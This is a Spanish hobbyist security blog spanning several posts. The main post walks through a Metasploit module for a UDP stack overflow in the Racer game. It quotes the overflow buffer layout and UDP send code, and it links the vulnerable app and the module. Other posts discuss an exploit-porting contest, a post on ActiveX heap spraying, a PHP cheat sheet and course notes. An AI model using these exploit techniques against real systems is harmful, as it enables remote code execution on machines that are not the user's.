miércoles, 4 de marzo de 2009

Metasploit -> MSFXDC(Protocolo UDP)

Remotos:
UDP: racer_bof.rb

Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.

Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.

1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb

Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.


Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################

En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos

buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)

udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.

handler #--> Controla la conexion

disconnect_udp #--> Y termina la conexion
########################################################################################################

Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################

Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar

Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5

--------------------------------------------

Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P

Saludos y espero que a alguno le sirva.

martes, 24 de febrero de 2009

Ausencia de posts xD

Bueno tengo en mente tratar algunas cosas que he dicho que iba a tratar pero por circunsanticas personales no he podido así que a partir del finde espero rellenar el blog con algunso temas de exploits que me quedé a medias y alguna cosilla más.

Saludos si alguien me lee jeje.

sábado, 14 de febrero de 2009

Exploits hechos para el MSFXDC(1)

Bueno en determinados temas del blog iré mostrando los exploits hechos y además como han sido desarrollados y los que no hice desde 0, serán llevados del lenguaje que tuvieran en milw0rm a ruby para metasploit. Iré mostrando las similitudes que tienen entre ellos y cómo es fácil desarrollar un exploit que se basa en los mismos tipos de vulnerabilidades, locales, remotos, mismos protocolos, etc. Metasploit está preparado para gran número de exploits aunque todavía le faltan algunos protocolos para no tener que enviar muchos bytes de un protocolo en especial mediante tcp/ip.

De forma general los divido en 3 categorías, entendéreis el porqué.
Voy a dividir los exploits remoto de manera que los 2 primeros tipos son genéricos y cuando vayan saliendo protocolos conocidos FTP, SMTP, IMAP...etc, los iré poniendo separados. Por ejemplo en las siguientes categorías:

REMOTOS:
::TCP
::UDP
::FTP
::Otros Protocolos(IMAP,SMTP...)
::Explotados con Navegador(Especialmente Activex)

LOCALES:
::FILEFORMAT

WEBAPP:
::RFI
::RCE

Muchos de los subtipos, se pueden hacer de forma casi genérica, sólo cambiando lo esencial.
Como dije iremos viendo de todo tipo, mientras tanto boken escribirá algo más relacionado con Metasploit en general, que cómo veréis será muy interesante.
Con esto aprenderéis la forma rápida de hacer vuestro exploit y de probar con el mismo Metasploit si no sabéis programar con protocolos.

Decir, que estéis atentos a la herramienta de Jerome Athias, MSF-XB:
https://www.securinfos.info/metasploit/MSF-XB.php

Más que nada, porque se va actualizando y hablaré con él la forma de poder elegir para hacer ciertos exploits. Para que sea casi for dummies jeje, para así hacer de Metasploit una herramienta muy buena para las auditorías.

martes, 3 de febrero de 2009

MetaSploit Framework eXploits Development Contest

Feliz 2009, más que nada porque llevo más de dos meses sin escribir por aquí jeje. Y bueno aprovecho el primer post de este año a este concurso.

El concurso organizado por Jerome Athias de JA-PSI, trataba de conseguir el mayor número de puntos. Éstos se podían conseguir dependiendo del tipo de exploit que hicieras, si era un poc, un exploit para aplicaciones web, o si eran locales o remotos funcionales. Todo ello portado para metasploit. En el link del final tenéis mejor la info del concurso y los exploits mandados al mismo.

La verdad fue un mes duro ya que todo exploit portado de milw0rm a metasploit tenía que probarlo en mi máquina, ello implica buscar la app vulnerable, ajustarlo a mi sistema y que funcione de forma simple(Se irán mejorando con tiempo), y muchos de los probados ya estaban en metasploit o directamente la gente los envió a milw0rm como buenos y luego realmente tienen filtros u otras cosas que hacen que no funcionen. Vamos que sobreescriben el ret con AAAA y luego los 4 siguientes BBBB, y como eip es 41414141 y esp 42424242, a la hora de modificarlo ponen una shellcode cualquiera y un salto a esp en EIP y aunque no lo prueben lo mandan...Eso lo ví en varios desbordamientos de pila.

Además, aunque personalmente veía mal que enviasen webapp porque metasploit está enfocado más en otro tipo de aplicaciones, me puse a fondo para conseguir ventaja y hasta envié yo webapp sin probar, pero que modificados casi nada, son todos iguales(los RFI jeje).

Así que después de tanto currar al final tuve lo prometido, gané y me enviaron el premio sin problemas a mi cuenta, y además estoy apuntado para la FRHACK, conferencia a la que me gustaría ir, si alguien de España lee esto y se apunta que me diga que voy sólo jeje. Hablaré de ella en otro momento :D.

Finalmente, agradecer a Jerome Athias porque las veces que hablé con él fue muy majo y por organizar este tipo de concursos, que más que nada era me animaba a hacer exploits para metasploit, cosa que tenía pensado hacer pero que nunca me animaba.
Así que parte de lo aprendido, lo plasmaré en algún lugar o mi amigo Boken lo hará con sus tutos.

Tutos para hacer exploits para metasploit:
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 1 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 2 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 3 - +NCR CRC!

Además os digo que si tenéis app vulnerables que no estén en la lista siguiente, hacérmelo saber a mi o a la cuenta de correo que sale en la siguiente web:
https://www.securinfos.info/old-softwares-vulnerable.php

Link del concurso:
https://www.securinfos.info/metasploit/msfxdc.php

sábado, 6 de diciembre de 2008

Chuletilla sobre PHP de Emezeta

Mientras buscaba otra cosa di con esta chuleta sobre las funciones de php, parámetros, tipos de datos, etc. Está hecha por Manz, un buen trabajo que si sabéis php os interesará. Podría existir una de estas para cada lenguaje jeje. Está hecha en inglés pero es entendible por todos ya veréis.

Os cuento que tiene por encima, ya que poner la imagen aquí se sale de los límites jeje.

Chuleta de PHP
---------------------

Tipos de datos: boolean, integer, float...
Comentarios.
Operadores: aritméticos, de asignación, para bits, comparación...
Constantes: define, constant...
Estructuras de Control: if, while, do while, switch...
Funciones.
Funciones Matemáticas: log, rand, abs,exp...
Tipos de Caracteres: ctype_alnum, ctype_alpha...
Inclusión de Archivos: require, include...
Variables predefinidas: $GLOBALS, $GET, $POST...
Funciones URL: base64_encode, urlencode, parse_url...
Funciones para Directorios: chdir, chroot,dir, opendir...
Funciones Misceláneas: sleep, exit, eval...
Funciones para Ejecutar: exec, passthru, shell_exec, system.
Arrays: matrix, array, list...
Movimientos Básicos de Arrays: current, end, array_pop...
Métodos para Ordenar Arrays: array_multisort, array_reverse....
Arrays como sets(diferencia e intersecciones): array_intersect, array_diff...
Fecha y Hora: getdate, time, microtime...
Parámetros de fecha: date(day, week, month...).
Clase de DateTime y DateTimeZone: date_create, date_time_set...
Archivos del Sistema(funciones básicas): basename, chmod, rename, copy, glob...
Cadenas: slashes y quotes; conversions y crypt; splits; strings y chars operations; compare; print family.
Expresiones regulares: POSIX Extended RegExp y Perl Compatible RegExp

---------------------------------------------------------------------------------------
Bueno, ahí está todo lo que te vas a encontrar más completo.

Lo podéis bajar de aquí: http://www.emezeta.com/articulos/emezeta-card-php-cheat-sheet

miércoles, 3 de diciembre de 2008

DAI - Sistemas Informáticos Multiusuario y en Red(1)

Esta asignatura la tenemos dividida en bloques. Voy a enseñaros poco a poco, de que trata cada bloque en distintos posts y que podréis aprender con ellos.

El primer bloque de esta asignatura es:

COMUNICACIÓN Y REPRESENTACIÓN DE LA INFORMACIÓN

1- Introducción a la informática
2- Datos e información
3- Cualidades de la información
4- Transmisión de la información
5- Representación de la información
  • Codificación binaria
  • Codificación/Decodificación
  • Sistemas de numeración
  • Teoría Formal de la Numeración
  • Sistema binario (0,1)
  • Cambio de decimal a cualquier base
  • Paso de Base B a base C
  • Operaciones lógicas en binario(AND, OR, XOR, NOT)
  • Operaciones aritméticas en binario
  • Medidas
  • Sistema Octal (0-7)
  • Sistema Hexadecimal (0-F)
  • Representación de los números enteros (Coma fija sin signo, con signo, Complemento a 1 y a 2, en exceso a M o sesgada, BCD empaquetado y desempaquetado, Código Gray, Cod. Biquinaria y Quibinaria y el código de los 7 segmentos)
  • Representación de números reales (IEEE 754)
  • Representación de alfanuméricos (FIELDATA, BCDIC, ASCII-7, ASCII EXTENDIDO, EBCDIC, UNICODE)
6- Redundancia en la codificación
  • Código hamming
  • Códigos CRC
  • Código Huffman
  • Código corrector de dos entre 3 (2/3)

Lo más extendido es el punto 5 y 6, está algo desordenado pero en navidades si hay ganas o al final de curso o cuando ya no tenga que hacer gran cosa, poco a poco los apuntes estarán en pdf disponibles para todos, o al menos eso espero. Es mucha tarea pero se irá intentando poco a poco.

martes, 11 de noviembre de 2008

Articulo - Explotando Activex con Heap Spraying

El mes pasado en CracksLatinos enviaron al concurso un fallito ya descubierto y explotado por shinnai en el que había que conseguir explotar una vulnerabilidad en Ultra Office, que era un programita que se podía ejecutar a través del navegador.

Cuando un programa se puede ejecutar a través de el Internet Explorer como son los Activex, si éste tiene un fallo, hay formas de aprovecharse de dichos fallos de una manera muy universal, y bastante eficaz con algunas modificaciones en el exploit original de la técnica que usaremos (Heap Spraying).

Así que, stack-based buffer overflow + Activex + navegador(IE) = Heap Spraying y derivados, y tendremos el control de muchos PCs con sólo poco trabajo como podéis leer en el tuto.
Para que veáis de que trata exactamente os recomiendo que lo miréis y en internet tenéis que buscar mas información sobre ello.

Habrá una segunda parte con métodos inseguros.

Descarga: Articulos - Explotando Activex con Heap Spraying